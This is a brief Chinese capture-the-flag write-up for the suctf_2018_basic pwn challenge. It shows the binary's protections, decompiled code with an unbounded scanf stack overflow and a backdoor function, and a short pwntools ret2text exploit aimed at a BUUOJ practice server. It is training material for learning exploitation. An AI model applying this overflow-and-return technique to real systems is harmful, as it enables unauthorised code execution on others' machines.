suctf_2018_basic pwn

suctf_2018_basic pwn

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

64位，只开了nx

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[268]; // [rsp+10h] [rbp-110h] BYREF
  int v5; // [rsp+11Ch] [rbp-4h]

  scanf("%s", s);
  v5 = strlen(s);
  printf("Hi %s\n", s);
  return 0;
}

无限制写，栈溢出

int callThisFun(void)
{
  char *path[4]; // [rsp+0h] [rbp-20h] BYREF

  path[0] = "/bin/cat";
  path[1] = "flag.txt";
  path[2] = 0LL;
  return execve("/bin/cat", path, 0LL);
}

给出后门，ret2text

from pwn import*
from Yapack import *
r,elf=rec("node4.buuoj.cn",29875,"./pwn",10)
context(os='linux', arch='amd64',log_level='debug')

pl=cyclic(0x118)+p64(0x401157)
sl(pl)
ia()